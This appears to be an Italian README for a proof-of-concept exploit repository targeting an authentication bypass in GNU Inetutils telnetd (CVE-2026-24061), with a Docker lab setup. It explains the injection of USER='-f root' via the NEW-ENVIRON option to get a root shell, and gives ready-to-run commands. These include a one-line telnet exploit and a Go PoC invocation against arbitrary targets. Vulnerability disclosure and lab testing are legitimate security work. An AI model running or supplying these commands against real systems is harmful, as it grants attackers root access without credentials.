
Exploit proof-of-concept per il bypass dell'autenticazione di GNU Inetutils telnetd (CVE-2026-24061) con configurazione di laboratorio Docker e PoC in Go. Sfrutta l'opzione NEW-ENVIRON per ottenere una shell di root.
Seriamente, telnet nel 2026? Andiamo, ragazzi, è ora di passare oltre. SSH esiste dal 1995. 🤦
Una vulnerabilità critica di bypass dell'autenticazione in GNU Inetutils telnetd che interessa le versioni da 1.9.3 a 2.7.
La vulnerabilità sfrutta l'opzione telnet NEW-ENVIRON per iniettare argomenti dannosi in login(1). Impostando USER=-f root tramite il protocollo telnet, un attaccante può bypassare l'autenticazione e ottenere una shell di root senza credenziali.
Il protocollo telnet supporta l'opzione NEW-ENVIRON (RFC 1572) che consente al client di inviare variabili d'ambiente al server. Il demone telnetd passa la variabile USER a login(1) come argomento.
Inviando USER=-f root, il valore viene interpretato come:
-f: salta l'autenticazione (host affidabile)root: utente targetQuesto provoca l'esecuzione di login -f root, garantendo accesso root immediato.
La PoC rileva lo sfruttamento riuscito controllando IAC WILL ECHO (0xff 0xfb 0x01) - il segnale di protocollo che il server invia quando l'accesso alla shell viene concesso.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - Exploit Go con shell interattivaDockerfile - Container telnetd vulnerabiledocker-compose.yml - Orchestrazione del laboratorio